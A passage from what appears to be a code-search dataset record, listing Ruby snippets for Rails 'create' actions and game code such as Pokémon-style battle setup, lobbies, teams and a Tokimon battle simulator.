$game_temp.trainer_battle = battle_info.trainer_battle?\n $game_temp.in_battle = true\n @logic = create_logic\n @logic.load_rng\n @logic.load_battlers\n @visual = create_visual\n @AIs = Array.new(count_ai_battler) { create_ai }\n # Next method called in update\n @next_update = :pre_transition\n # List of the player actions\n @player_actions = []\n # Battle result\n @battle_result = :draw\n # All the event procs\n @battle_events = {}\n # Skip the next frame to go faster in the next update\n @skip_frame = false\n # Create the message proc\n create_message_proc\n # Init & call first event\n load_events(logic.battle_info.battle_id)\n call_event(:logic_init)\n end","def create\n @tile = Tile.new(params[:tile])\n\n respond_to do |format|\n if @tile.save\n format.html { redirect_to @tile, notice: 'Tile was successfully created.' }\n format.json { render json: @tile, status: :created, location: @tile }\n else\n format.html { render action: \"new\" }\n format.json { render json: @tile.errors, status: :unprocessable_entity }\n end\n end\n end","def create\n @lobby = Lobby.new(lobby_params.merge(code: SecureRandom.alphanumeric(6), status: 'pending'))\n @player_master = Player.new(name: current_user.username, hat: current_user.hat, lobby: @lobby, user_id: current_user.id)\n\n ActiveRecord::Base.transaction do\n @lobby.save!\n @player_master.save!\n session[:player_id] = @player_master.id\n set_current_player\n @current_player.update({ game_state: :pending })\n end\n\n redirect_to @lobby, notice: \"Lobby was successfully created.\"\n rescue ActiveRecord::RecordInvalid\n flash[:error] = 'Lobby was not successfully created.'\n render_flash\n end","def create_pokemon_battler_stack\n @pkm_battler_stack = Pokemon_Battler_Stack.new(@viewport)\n end","def create\n @tile = Tile.new(tile_params)\n\n respond_to do |format|\n if @tile.save\n format.html { redirect_to @tile, notice: 'Tile was successfully created.' }\n format.json { render :show, status: :created, location: @tile }\n else\n format.html { render :new }\n format.json { render json: @tile.errors, status: :unprocessable_entity }\n end\n end\n end","def battle\n # Update the contest status\n contest.batteling!\n\n # The Arena::Contest gem is stateless. It doesn't care about our arena\n # api state or the battle pets api. All it cares about is figuring out the winner\n winner_id = Arena::Contest.determine_winner(contest.contest_type, fetch_pets_to_battle)\n\n update_winner winner_id\n end","def create\n \n end","def pbCreatePokemon\n party = []\n species = [:PIKACHU,:PIDGEOTTO,:KADABRA,:GYARADOS,:DIGLETT,:CHANSEY]\n for id in species\n party.push(getConst(PBSpecies,id)) if hasConst?(PBSpecies,id)\n end\n # Species IDs of the Jermon to be created\n for i in 0...party.length\n species = party[i]\n # Generate Jermon with species and level 20\n $Trainer.party[i] = PokeBattle_Pokemon.new(species,20,$Trainer)\n $Trainer.seen[species] = true # Set this species to seen and owned\n $Trainer.owned[species] = true\n pbSeenForm($Trainer.party[i])\n end\n $Trainer.party[1].pbLearnMove(:FLY)\n $Trainer.party[2].pbLearnMove(:FLASH)\n $Trainer.party[2].pbLearnMove(:TELEPORT)\n $Trainer.party[3].pbLearnMove(:SURF)\n $Trainer.party[3].pbLearnMove(:DIVE)\n $Trainer.party[3].pbLearnMove(:WATERFALL)\n $Trainer.party[4].pbLearnMove(:DIG)\n $Trainer.party[4].pbLearnMove(:CUT)\n $Trainer.party[4].pbLearnMove(:HEADBUTT)\n $Trainer.party[4].pbLearnMove(:ROCKSMASH)\n $Trainer.party[5].pbLearnMove(:SOFTBOILED)\n $Trainer.party[5].pbLearnMove(:STRENGTH)\n $Trainer.party[5].pbLearnMove(:SWEETSCENT)\n for i in 0...party.length\n $Trainer.party[i].pbRecordFirstMoves\n end\nend","def create\n return\n #Board.generate()\n #@board = Board.new(params[:board])\n\n respond_to do |format|\n #if @board.save\n #format.html { redirect_to @board, :notice => 'Board was successfully created.' }\n #format.json { render :json => @board, :status => :created, location: @board }\n #else\n format.html { render :action => \"new\" }\n format.json { render :json => @board.errors, :status => :unprocessable_entity }\n #end\n end\n end","def create_game_board\n\t\tnew_board = {}\n\t\ti = 1\n\t\t6.times do \n\t\t\tj = 1\n\t\t\t7.times do\n\t\t\t\tcurrent_key = \"#{j}-#{i}\"\n\t\t\t\tnew_board[current_key] = ConnectFourLocation.new\n\t\t\t\tj += 1\n\t\t\tend\n\t\t\ti += 1\n\t\tend\n\t\treturn new_board\n\tend","def create\n @weapon_info = WeaponInfo.new(params[:weapon_info])\n\n respond_to do |format|\n if @weapon_info.save\n flash[:notice] = 'WeaponInfo was successfully created.'\n format.html { redirect_to(@weapon_info) }\n format.xml { render :xml => @weapon_info, :status => :created, :location => @weapon_info }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @weapon_info.errors, :status => :unprocessable_entity }\n end\n end\n end","def create_info_window\n x = @command_window.right_corner\n y = @help_window.bottom_corner\n width = Graphics.width - x\n @info_window = Window_RegistrationInfo.new(x, y, width)\n @info_window.openness = 0 if $game_temp.registration_step == 0\n end","def create\n #debugger\n champ = Champion.find_or_create_by_code params[:game_ban].delete(:code)\n @game_ban = GameBan.find_or_create_by_game_id_and_champion_id params[:game_ban].delete(:game_id), champ.id\n @game_ban.update_attributes(params[:game_ban])\n\n respond_to do |format|\n if @game_ban.save\n format.html { redirect_to(@game_ban, :notice => 'GameBan was successfully created.') }\n format.xml { render :xml => @game_ban, :status => :created, :location => @game_ban }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @game_ban.errors, :status => :unprocessable_entity }\n end\n end\n end","def create_info_bitmap\n @info = Bitmap.new(Graphics.width-10, HEIGHT)\n #draw_party_members(80, 2)\n draw_save_number(85,60)\n draw_bars\n #draw_playTime(0, 98)\n #draw_story(0,122)\n #draw_gold(0,98)\n #draw_location(0, 122)\n end","def new\n\t\t@habit = Habit.new\n\tend","def create_empty_info\n @info_rect = Sprite.new(@viewport)\n @info_rect.bitmap = @info\n #@info_rect.ox = -165\n end","def create_game type\n @game = Game.create(user_id:@user.id, game_type:type)\n new_deck_for @game.id \n end","def create\n @team = Team.new(team_params)\n\n respond_to do |format|\n if @team.save\n format.html { redirect_to @team, notice: 'Team was successfully created.' }\n format.json { render action: 'show', status: :created, location: @team }\n else\n format.html { render action: 'new' }\n format.json { render json: @team.errors, status: :unprocessable_entity }\n end\n end\n\n @membership = Membership.new(team_id: @team.id, player_id: @team.player_id)\n @membership.save\n end","def create_save_info\n @info = Bitmap.new(Graphics.width-10, HEIGHT)\n @info_rect = Sprite.new(@viewport)\n @info_rect.bitmap = @info\n @info_rect.ox = -5#165\n end","def create_team_poolplay\n pool = self.poolplay_teams # Team objects\n save_team_play_to_database(tournament_id, pool, \"poolplay\")\n end","def create\n @battalion = Battalion.new(params[:battalion])\n \n respond_to do |format|\n if @battalion.save\n flash[:notice] = 'Battalion was successfully created.'\n format.html { redirect_to(@battalion) }\n format.xml { render :xml => @battalion, :status => :created, :location => @battalion }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @battalion.errors, :status => :unprocessable_entity }\n end\n end\n end","def create\n @internship = Internship.new(params[:internship])\n\n respond_to do |format|\n if @internship.save\n format.html { redirect_to @internship, notice: 'Internship was successfully created.' }\n format.json { render json: @internship, status: :created, location: @internship }\n else\n format.html { render action: \"new\" }\n format.json { render json: @internship.errors, status: :unprocessable_entity }\n end\n end\n end","def new_game\n @shots = []\n boats = []\n\n BOAT_SIZES.each do |size|\n boats << place_boat(size, boats)\n end\n boats\n end","def create\n @ab_team = AbTeam.new(ab_team_params)\n\n respond_to do |format|\n if @ab_team.save\n format.html { redirect_to @ab_team, notice: 'Record was created.' }\n format.json { render :show, status: :created, location: @ab_team }\n else\n format.html { render :new }\n format.json { render json: @ab_team.errors, status: :unprocessable_entity }\n end\n end\n end","def new # the input\n @game = Game.new\n @game.new_game\n end","def create\n \n end","def create_ai\n return Battle::AI.new(self)\n end","def create_battlers\n infos = @battle_scene.battle_info\n (logic = @battle_scene.logic).bank_count.times do |bank|\n # create the trainer sprites\n infos.battlers[bank].each_with_index do |battler, position|\n sprite = BattleUI::TrainerSprite.new(@viewport, battler, bank, position, infos)\n store_battler_sprite(bank, -position - 1, sprite)\n end\n # Create the Pokemon sprites\n infos.vs_type.times do |position|\n sprite = BattleUI::PokemonSprite.new(@viewport)\n sprite.pokemon = logic.battler(bank, position)\n store_battler_sprite(bank, position, sprite)\n create_info_bar(bank, position)\n end\n end\n hide_info_bars(true)\n end","def set_next_battle_info\n @next_battle_info = NextBattleInfo.find(params[:id])\n end","def initialize(fighter, bomber)\n create(fighter, bomber)\n end","def create\n @board_game = BoardGame.new(board_game_params)\n\n respond_to do |format|\n if @board_game.save\n format.html { redirect_to @board_game, notice: \"Board game was successfully created.\" }\n format.json { render :show, status: :created, location: @board_game }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @board_game.errors, status: :unprocessable_entity }\n end\n end\n end","def next_battle_info_params\n params.require(:next_battle_info).permit(:result_no, :generate_no, :party_no, :battle_type, :enemy_party_name_id, :member_num)\n end","def create_worldmap\n @pokemon_worldmap = GamePlay::WorldMap.new(:pokedex, $env.get_worldmap)\n @pokemon_worldmap.create_graphics\n end","def new_ambassadorship\n @ambassadorship = Ambassadorship.new(ambassadorship_params)\n end","def commandnewgame_gamedata\r\n # Reset frame count for measuring play time\r\n Graphics.frame_count = 0\r\n # Make each type of game object\r\n $game_temp = Game_Temp.new\r\n $game_system = Game_System.new\r\n $game_switches = Game_Switches.new\r\n $game_variables = Game_Variables.new\r\n $game_self_switches = Game_SelfSwitches.new\r\n $game_screen = Game_Screen.new\r\n $game_actors = Game_Actors.new\r\n $game_party = Game_Party.new\r\n $game_troop = Game_Troop.new\r\n $game_map = Game_Map.new\r\n $game_player = Game_Player.new\r\n end","def create\n @lobby = Lobby.new(params[:lobby])\n\n respond_to do |format|\n if @lobby.save\n format.html { redirect_to(@lobby, :notice => 'Lobby was successfully created.') }\n format.xml { render :xml => @lobby, :status => :created, :location => @lobby }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @lobby.errors, :status => :unprocessable_entity }\n end\n end\n end","def create_team(db, name, wins, losses, count)\n stars = set_stars(count) # Set num of stars each team receives\n quality = set_quality(stars) # Set quality of team, based on stars \n\n team_creation = <<-SQL\n INSERT INTO teams (name, stars, quality, wins, losses)\n VALUES (?, ?, ?, ?, ?)\n SQL\n\n db.execute(team_creation, [name, stars, quality, wins, losses])\nend","def create new_vals, *args\n raise \":create no longer accepts #{new_vals.inspect}\" if new_vals.is_a?(Symbol) \n\n @new_data = new_vals\n\n validate(:ip)\n validate(:pass_word).required('Pass phrase is required.')\n validate(:confirm_pass_word).required(\"Pass phrase confirmation is required.\")\n\n new_vals[:customer] = self\n sn = Screen_Name.create(new_data)\n\n rec = TABLE.\n returning(:id).\n insert({\n pswd_hash: encode_pass_word(clean_data[:pass_word]),\n id: clean_data[:id]\n }).first\n\n c = self.class.new rec\n c\n end","def create\n \n @max_ships=50 \n @ship_group = ShipGroup.new(ship_group_params)\n @ship_name =Unit.find(@ship_group.unit_id).name\n respond_to do |format|\n if @ship_group.save\n format.html { redirect_to @ship_group, notice: 'Ship group was successfully created.' }\n format.json { render :show, status: :created, location: @ship_group }\n else\n format.html { render :new }\n format.json { render json: @ship_group.errors, status: :unprocessable_entity }\n end\n end\n end","def new\n @battle_environment = BattleEnvironment.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @battle_environment }\n end\n end","def create_hotel(name:, address:)\n Hotel.create(\n name: name,\n address: address\n )\nend","def create\n\t\tassignment = Assignment.new(assignment_params)\n\t if assignment.save\n\t \t# Mark the boat as used.\n\t \tputs \"before assign_boat\"\n\t \tPeekBooker.assign_boat(assignment.boat_id)\n\t \tputs \"after assign_boat\"\n\t \t# Update the boat's data (availability/status)\n\t \tPeekBooker.upd_boat_status(assignment.timeslot_id)\n\t \trender json: assignment, status: 201\n\t end\n\tend"],"string":"[\n \"def create\\n @battle = Battle.new(battle_params)\\n\\n respond_to do |format|\\n if @battle.save\\n format.html { redirect_to @battle, notice: 'Battle was successfully created.' }\\n format.json { render :show, status: :created, location: @battle }\\n else\\n format.html { render :new }\\n format.json { render json: @battle.errors, status: :unprocessable_entity }\\n end\\n end\\n end\",\n \"def create\\n @battle = Battle.new(battle_params)\\n\\n respond_to do |format|\\n if @battle.save\\n format.html { redirect_to @battle, notice: 'Battle was successfully created.' }\\n format.json { render action: 'show', status: :created, location: @battle }\\n else\\n format.html { render action: 'new' }\\n format.json { render json: @battle.errors, status: :unprocessable_entity }\\n end\\n end\\n end\",\n \"def create\\n @battle = Battle.new(params[:battle])\\n\\n respond_to do |format|\\n if @battle.save\\n format.html { redirect_to @battle, notice: 'Battle was successfully created.' }\\n format.json { render json: @battle, status: :created, location: @battle }\\n else\\n format.html { render action: \\\"new\\\" }\\n format.json { render json: @battle.errors, status: :unprocessable_entity }\\n end\\n end\\n end\",\n \"def create\\n @battle = Battle.new(params[:battle])\\n \\n @ship1 = Ship.find(@battle.ship1_id)\\n @ship2 = Ship.find(@battle.ship2_id)\\n @character = Character.find(1)\\n @finished = Battle.battle(@ship1,@ship2)\\n \\n respond_to do |format|\\n if @battle.save\\n flash[:notice] = 'Battle was successfully created.'\\n format.html { redirect_to(@finished) }\\n format.xml { render :xml => @battle, :status => :created, :location => @battle }\\n else\\n format.html { render :action => \\\"new\\\" }\\n format.xml { render :xml => @battle.errors, :status => :unprocessable_entity }\\n end\\n end\\n end\",\n \"def create\\n @battle = Battle.new(battle_params)\\n\\n if @battle.save\\n redirect_to battles_stream_path(@battle.id), notice: 'Battle was successfully created.'\\n else\\n render :new\\n end\\n end\",\n \"def create_info\\n @pokemon_info = DexWinInfo.new(@viewport)\\n @pokemon_descr = @stack.add_text(11, 153, 298, 16, nil.to_s, color: 10)\\n end\",\n \"def create_battle_planes\\n @battle_plane = Battle_Plane.new(@viewport1)\\n end\",\n \"def new\\n @battle = Battle.new\\n @ships = Ship.find(:all)\\n\\n respond_to do |format|\\n format.html # new.html.erb\\n format.xml { render :xml => @battle }\\n end\\n end\",\n \"def new\\n @battle = Battle.new\\n\\n respond_to do |format|\\n format.html # new.html.erb\\n format.json { render json: @battle }\\n end\\n end\",\n \"def create\\n @board_info = BoardInfo.new(params[:board_info])\\n\\n respond_to do |format|\\n if @board_info.save\\n format.html { redirect_to @board_info, notice: 'Board info was successfully created.' }\\n format.json { render json: @board_info, status: :created, location: @board_info }\\n else\\n format.html { render action: \\\"new\\\" }\\n format.json { render json: @board_info.errors, status: :unprocessable_entity }\\n end\\n end\\n end\",\n \"def create\\n @battle = Battle.new(battle_params)\\n if params[:ghost_pet_id] == 0 or params[:ghost_pet_id] == '0'\\n @ghost_archetype = Pet.order(\\\"RANDOM()\\\").first\\n else\\n @ghost_archetype = Pet.find(params[:ghost_pet_id])\\n end\\n if params[:bounty_id] != nil\\n @bounty = Bounty.find(params[:bounty_id])\\n @battle.update_attribute(:bounty_id, @bounty.id)\\n @bounty.update_attribute(:number_of_bounties, @bounty.number_of_bounties -= 1)\\n pay_from = BlockIo.get_user_address user_id: current_user.block_io_wallet_id\\n BlockIo.withdraw_from_user from_addresses: pay_from['data']['address'], payment_address: 'DQmRmDRsvPNteofRBPwktTSdmB3NPjkvMd', amount: @bounty.amount\\n end\\n @ghost = Ghost.new\\n @battle.update_attribute(:ghost_id, @ghost.id)\\n @battle.update_attribute(:background_url, Guild.order(\\\"RANDOM()\\\").first.imageurl)\\n @ghost.update_attribute(:name, @ghost_archetype.name)\\n @ghost.update_attribute(:imageurl, @ghost_archetype.imageurl)\\n @ghost.update_attribute(:element, @ghost_archetype.element)\\n @ghost.update_attribute(:user_id, @ghost_archetype.user_id)\\n @ghost.update_attribute(:pet_id, @ghost_archetype.id)\\n @pet = Pet.find(@battle.pet_id)\\n @pet.update_attribute(:health, 100)\\n @pet.update_attribute(:magic, 100)\\n @ghost.update_attribute(:health, 100)\\n @ghost.update_attribute(:magic, 100)\\n #now adding copies of pets items to ghost\\n @ghost.save\\n @battle.ghost = @ghost\\n @battle.update_attribute(:b_pet_turn, 'true')\\n\\n if @pet.against_ghost_losses == nil\\n @pet.update_attribute(:against_ghost_losses, 0)\\n end\\n if @pet.against_ghost_wins == nil\\n @pet.update_attribute(:against_ghost_wins, 0)\\n end\\n if @pet.ghost_losses == nil\\n @pet.update_attribute(:ghost_losses, 0)\\n end\\n if @pet.ghost_wins == nil\\n @pet.update_attribute(:ghost_wins, 0)\\n end\\n\\n if Pet.find(@ghost.pet_id).against_ghost_losses == nil\\n Pet.find(@ghost.pet_id).update_attribute(:against_ghost_losses, 0)\\n end\\n if Pet.find(@ghost.pet_id).against_ghost_wins == nil\\n Pet.find(@ghost.pet_id).update_attribute(:against_ghost_wins, 0)\\n end\\n if Pet.find(@ghost.pet_id).ghost_losses == nil\\n Pet.find(@ghost.pet_id).update_attribute(:ghost_losses, 0)\\n end\\n if Pet.find(@ghost.pet_id).ghost_wins == nil\\n Pet.find(@ghost.pet_id).update_attribute(:ghost_wins, 0)\\n end\\n\\n respond_to do |format|\\n if @battle.save\\n Pet.find(@battle.pet_id).update_attribute(:battle_id, @battle.id)\\n flash[:notice] = 'Welcome!'\\n format.html { redirect_to @battle, notice: 'A new battle has begun! Time to play your first move!' }\\n format.json { render :show, status: :created, location: @battle }\\n else\\n format.html { render :new }\\n format.json { render json: @battle.errors, status: :unprocessable_entity }\\n end\\n end\\n end\",\n \"def create\\n @game_info = GameInfo.new(game_info_params)\\n\\n respond_to do |format|\\n if @game_info.save\\n format.html { redirect_to @game_info, notice: 'Game info was successfully created.' }\\n format.json { render action: 'show', status: :created, location: @game_info }\\n else\\n format.html { render action: 'new' }\\n format.json { render json: @game_info.errors, status: :unprocessable_entity }\\n end\\n end\\n end\",\n \"def create\\n @battle = Battle.new(battle_params)\\n @battle.user_id = current_user.id\\n @battle.start_date = Time.now.utc\\n date_end = Chronic.parse(params[:battle][:end_date])\\n @battle.end_date = date_end.nil? ? nil : date_end.utc.to_s\\n debugger\\n if params[:character_ids]\\n char_ids = params[:character_ids]\\n char_ids.shift\\n end\\n if char_ids.nil? || (char_ids.length < 2)\\n @battle.errors.add(:battle_rosters, \\\"A battle must have at least two characters.\\\")\\n end\\n respond_to do |format|\\n if @battle.errors.empty? && @battle.save\\n char_ids.each do |char_id|\\n @battle.battle_rosters.create(character_id: char_id.to_i)\\n end\\n format.html { redirect_to @battle, notice: 'Battle was successfully created.' }\\n format.json { render action: 'show', status: :created, location: @battle }\\n else\\n flash[:error] = @battle.errors.full_messages\\n format.html { render action: 'new' }\\n format.json { render json: @battle.errors, status: :unprocessable_entity }\\n end\\n end\\n end\",\n \"def create_lobby(name)\\n {\\n \\\"id\\\" => @lobby_class.create(:lobby_name => name).id\\n }\\n end\",\n \"def create\\n tournament = Tournament.open.last\\n\\n if tournament\\n @player = tournament.players.new name: params[:name],\\n key: SecureRandom.uuid\\n if @player.valid?\\n @player.save!\\n message = { :name => @player.name,\\n :key => @player.key,\\n :message => @player.key }\\n else\\n message = { :message => \\\"You must register with a valid and unique player name.\\\" }\\n end\\n\\n respond_to do |format|\\n format.json { render :json => message }\\n format.xml { render :xml => message }\\n format.html { redirect_to '/pages/registration', :notice => message[:message] }\\n end\\n else\\n respond_to do |format|\\n format.json { render_not_found \\\"The tournament is currently closed.\\\" }\\n format.xml { render_not_found \\\"The tournament is currently closed.\\\" }\\n format.html { redirect_to '/pages/registration', :alert => \\\"The tournament is currently closed.\\\" }\\n end\\n end\\n end\",\n \"def create\\n @battle_roster = BattleRoster.new(battle_roster_params)\\n\\n respond_to do |format|\\n if @battle_roster.save\\n format.html { redirect_to @battle_roster, notice: 'Battle roster was successfully created.' }\\n format.json { render action: 'show', status: :created, location: @battle_roster }\\n else\\n format.html { render action: 'new' }\\n format.json { render json: @battle_roster.errors, status: :unprocessable_entity }\\n end\\n end\\n end\",\n \"def create\\n x = Algorithm.array_string_to_array(beacon_params[\\\"x_motion\\\"])\\n y = Algorithm.array_string_to_array(beacon_params[\\\"y_motion\\\"])\\n z = Algorithm.array_string_to_array(beacon_params[\\\"z_motion\\\"])\\n p \\\"check\\\"\\n if x.length >= 6\\n # Algorithm.is_not_walking?(x,y,z)\\n if Rep.rep_predict(beacon_params[\\\"x_motion\\\"],beacon_params[\\\"y_motion\\\"],beacon_params[\\\"z_motion\\\"], \\\"Shoulder Press\\\") >= 1\\n @info = Ibeacon.new \\n @info.x_motion = beacon_params[\\\"x_motion\\\"]\\n @info.y_motion = beacon_params[\\\"y_motion\\\"]\\n @info.z_motion = beacon_params[\\\"z_motion\\\"]\\n @info.exercise_name = @info.classify_exercise(beacon_params[\\\"x_motion\\\"],beacon_params[\\\"y_motion\\\"],beacon_params[\\\"z_motion\\\"])\\n @info.reps_counted = Rep.rep_predict(beacon_params[\\\"x_motion\\\"],beacon_params[\\\"y_motion\\\"],beacon_params[\\\"z_motion\\\"], @info.exercise_name)\\n @info.weight_lb = @info.reps_counted*beacon_params[\\\"weight_lb\\\"][9..-2].to_i\\n @info.save\\n end\\n end \\n \\n end\",\n \"def create\\n party = []\\n (1..6).each do |p_number|\\n level = params[:dungeon_instance][\\\"hero#{p_number}_level\\\"].to_i\\n party << level if level > 0\\n end\\n\\n dungeon = Dungeon.new\\n dungeon.generate( params[:dungeon_instance][:size].to_i, party,\\n encounters_difficulty: params[:dungeon_instance][:difficulty].to_sym )\\n # p dungeon.to_json\\n\\n @dungeon_instance = DungeonInstance.new( dungeon_instance_params.merge( dungeon_data: dungeon.to_json ) )\\n\\n respond_to do |format|\\n if current_user.dungeon_instances << @dungeon_instance\\n format.html { redirect_to dungeon_instance_play_path( @dungeon_instance ), notice: 'Dungeon instance was successfully created.' }\\n else\\n format.html { redirect_to dungeon_instances_path, error: 'Dungeon instance was successfully created.' }\\n end\\n end\\n end\",\n \"def create_new_pg_game\\n @log.debug \\\"bot create_new_pg_game on state #{@state_pg_create}, supported games num: #{@supported_games.size}\\\"\\n if @state_pg_create != :submitted\\n #p @supported_games\\n @supported_games.each do |item|\\n if item[:name] == nil\\n @log.warn \\\"Ignore to send game creation without a name maybe it is disabled in game_info, item is #{ObjTos.stringify(item)}\\\"\\n next\\n end\\n @log.debug \\\"Submit pg game on #{item[:name]}\\\"\\n #msg_det = \\\"#{item[:name]},#{item[:stropt]}\\\"\\n info = {\\n :game => item[:name],\\n :prive => {:val => false, :pin => '' },\\n :class => @playfor_classment,\\n :opt_game => item[:opt] \\n }\\n @log.debug \\\"auto_create_new_game, pg_create2: #{ObjTos.stringify(info)}\\\"\\n @control_net_conn.send_create_pg2(info)\\n end\\n @state_pg_create = :submitted\\n end\\n end\",\n \"def create(_team)\\n # stub\\n end\",\n \"def create_game(user1, game_id, players, type)\\n game_factory = ConnectGameFactory.new(players.to_i, type.to_sym)\\n @game_list[game_id] = GameInfo.new(game_factory.connect_game, game_factory.game_state, nil, user1, nil)\\n ''\\n end\",\n \"def battle_params\\n params.require(:battle).permit(:name, :year, :battle_number, :attacker_king, :defender_king, :attacker_1, :defender_1, :battle_outcome, :battle_type, :major_deaths, :major_capture, :attacker_size, :defender_size, :attacker_commander, :defender_commander, :summer, :location, :region, :note)\\n end\",\n \"def create\\n @military_battle_round = Military::BattleRound.new(params[:military_battle_round])\\n\\n respond_to do |format|\\n if @military_battle_round.save\\n format.html { redirect_to @military_battle_round, notice: 'Battle round was successfully created.' }\\n format.json { render json: @military_battle_round, status: :created, location: @military_battle_round }\\n else\\n format.html { render action: \\\"new\\\" }\\n format.json { render json: @military_battle_round.errors, status: :unprocessable_entity }\\n end\\n end\\n end\",\n \"def create\\r\\n @battle_mech = BattleMech.new(params[:battle_mech])\\r\\n\\r\\n if @battle_mech.save\\r\\n flash[:success] = \\\"New BattleMech created\\\"\\r\\n redirect_to @battle_mech\\r\\n else\\r\\n @title = \\\"New BattleMech\\\"\\r\\n render \\\"new\\\"\\r\\n end\\r\\n end\",\n \"def create\\n #Clone:\\n #user\\n #boat\\n #crew\\n \\n #save them\\n #use these ids for registration\\n \\n #Make a new boat, with data from the boat at this time\\n #Save it along with the id's (user,boat,regattum id)\\n \\n boat = Boat.find(params[:registration][:boat_id])\\n user = boat.user\\n user_clone = user.clone\\n user_clone.cloned_from user.id\\n user_clone.save\\n boat_clone = boat.clone\\n boat_clone.user = user_blone\\n boat_clone.cloned_from = boat.id\\n eqs = boat.equipments\\n eqs_clone = []\\n eqs.each do |e|\\n eqs_clone << e\\n end\\n eqs_clone.each do |e|\\n e.save\\n end\\n boat_clone.equipments = eqs_clone\\n \\n sails = boat.sails\\n sails_clone = []\\n sails.each do |sail|\\n sails_clone << sail.clone\\n end\\n sails_clone do |sail|\\n sail.save\\n end\\n boat_clone.sails = sails_clone\\n\\n crews = boat.crews\\n crews_clone = []\\n crews.each do |crew|\\n tmp = crew.clone\\n tmp.cloned_from = crew.id\\n crews_clone << tmp\\n end\\n \\n crews_clone.each do |crew|\\n crew.save\\n end\\n boat_clone.crews = crews_clone\\n boat_clone.save\\n crews_clone.each do |crew|\\n tmp = crew.user.clone\\n tmp.cloned_from = crew.user.id\\n tmp.save\\n crew.user = tmp\\n crew.boat = boat_clone\\n crew.save\\n end\\n \\n @registration = Registration.new(params[:registration])\\n\\n respond_to do |format|\\n if @registration.save\\n format.html { redirect_to(@registration, :notice => 'Registration was successfully created.') }\\n format.xml { render :xml => @registration, :status => :created, :location => @registration }\\n else\\n format.html { render :action => \\\"new\\\" }\\n format.xml { render :xml => @registration.errors, :status => :unprocessable_entity }\\n end\\n end\\n end\",\n \"def create\\n @battle_environment = BattleEnvironment.new(member_params)\\n @battle_environment.user_id = current_user.id\\n\\n respond_to do |format|\\n if @battle_environment.save\\n show_success_message\\n format.html { redirect_to(@battle_environment) }\\n format.xml { render :xml => @battle_environment, :status => :created, :location => @battle_environment }\\n else\\n show_failed_message if not @battle_environment.errors.any?\\n format.html { render :action => \\\"new\\\" }\\n format.xml { render :xml => @battle_environment.errors, :status => :unprocessable_entity }\\n end\\n end\\n end\",\n \"def create\\n @battle = Battle.new\\n @battle.user = current_user\\n\\n params[:battle][:hashtags_attributes].each do |i, hashtag|\\n next if hashtag[:name].blank?\\n @battle.hashtags << Hashtag.find_or_create_by(name: hashtag[:name])\\n end\\n\\n # At least 2 valid hashtags - maximum 5\\n if @battle.save\\n redirect_to @battle\\n else\\n render new_battle_path(@battle), alert: @battle.errors\\n end\\n end\",\n \"def set_battle\\n @battle = Battle.find(params[:id])\\n end\",\n \"def set_battle\\n @battle = Battle.find(params[:id])\\n end\",\n \"def set_battle\\n @battle = Battle.find(params[:id])\\n end\",\n \"def create\\n p = game_params\\n\\n home_team_name = p.delete(:home_team_name)\\n away_team_name = p.delete(:away_team_name)\\n p[:home_team_id] = find_or_create_team(home_team_name).try(:id)\\n p[:away_team_id] = find_or_create_team(away_team_name).try(:id)\\n\\n @game = Game.new(p)\\n @game.user = current_user\\n respond_to do |format|\\n if @game.save\\n format.html { redirect_to @game, notice: 'Game was successfully created.' }\\n format.json { render :show, status: :created, location: @game }\\n else\\n format.html { render :new, notice: 'Game was successfully created.' }\\n format.json { render json: @game.errors, status: :unprocessable_entity }\\n end\\n end\\n end\",\n \"def create\\n @game = Game.new(params[:game])\\n\\t\\n #First update the players table to indicate who is playing this game\\n set_player_availability(params)\\n \\n #Create a team to hold the home team players\\n home_team = Team.new\\n home_team.name = params[:home_team_name]\\n home_team.save\\n @game.home_team_id = home_team.id\\n \\n #Create a team to hold the away team players\\n away_team = Team.new\\n away_team.name = params[:away_team_name]\\n away_team.save\\n @game.away_team_id = away_team.id\\n \\n #Create home and away teams from available players\\n build_teams(home_team, away_team)\\n \\n respond_to do |format|\\n if @game.save\\n format.html { redirect_to @game, notice: 'Game was successfully created.' }\\n format.json { render json: @game, status: :created, location: @game }\\n else\\n format.html { render action: \\\"new\\\" }\\n format.json { render json: @game.errors, status: :unprocessable_entity }\\n end\\n end\\n end\",\n \"def create\\n @battle = Battle.new(battle_params)\\n if @battle.tokimon1 == nil || @battle.tokimon2 == nil\\n respond_to do |format|\\n @battle.destroy\\n flash.now[:notice] = \\\"Please select two Tokimon.\\\"\\n format.html { render :new }\\n format.json { render json: @tokimon.errors, status: :unprocessable_entity }\\n end\\n else\\n tok1 = Tokimon.find(@battle.tokimon1)\\n tok2 = Tokimon.find(@battle.tokimon2)\\n hp1 = tok1.weight + tok1.height\\n hp2 = tok2.weight + tok2.height\\n turn = 1\\n attacker = tok1\\n defender = tok2\\n message = \\\"#{tok1.name}'s HP: #{hp1}\\\"\\n message += \\\"\\\\n#{tok2.name}'s HP: #{hp2}\\\"\\n while hp1 > 0 && hp2 > 0\\n roll = rand(0..5)\\n if roll == 0\\n if (defender.water > attacker.fire)\\n message += \\\"\\\\n#{defender.name} blocked #{attacker.name}'s fire attack with it's high water ability.\\\"\\n else\\n message += \\\"\\\\n#{defender.name} was hit by #{attacker.name}'s fire attack.\\\"\\n if attacker == tok1\\n hp2 += -attacker.fire\\n elsif attacker == tok2\\n hp1 += -attacker.fire\\n end\\n end\\n elsif roll == 1\\n if (defender.electric > attacker.water)\\n message += \\\"\\\\n#{defender.name} blocked #{attacker.name}'s water attack with it's high electric ability.\\\"\\n else\\n message += \\\"\\\\n#{defender.name} was hit by #{attacker.name}'s water attack.\\\"\\n if attacker == tok1\\n hp2 += -attacker.water\\n elsif attacker == tok2\\n hp1 += -attacker.water\\n end\\n end\\n elsif roll == 2\\n if (defender.fight > attacker.electric)\\n message += \\\"\\\\n#{defender.name} blocked #{attacker.name}'s electric attack with it's high fight ability.\\\"\\n else\\n message += \\\"\\\\n#{defender.name} was hit by #{attacker.name}'s electric attack.\\\"\\n if attacker == tok1\\n hp2 += -attacker.electric\\n elsif attacker == tok2\\n hp1 += -attacker.electric\\n end\\n end\\n elsif roll == 3\\n if (defender.fly > attacker.fight)\\n message += \\\"\\\\n#{defender.name} blocked #{attacker.name}'s fight attack with it's high fly ability.\\\"\\n else\\n message += \\\"\\\\n#{defender.name} was hit by #{attacker.name}'s fight 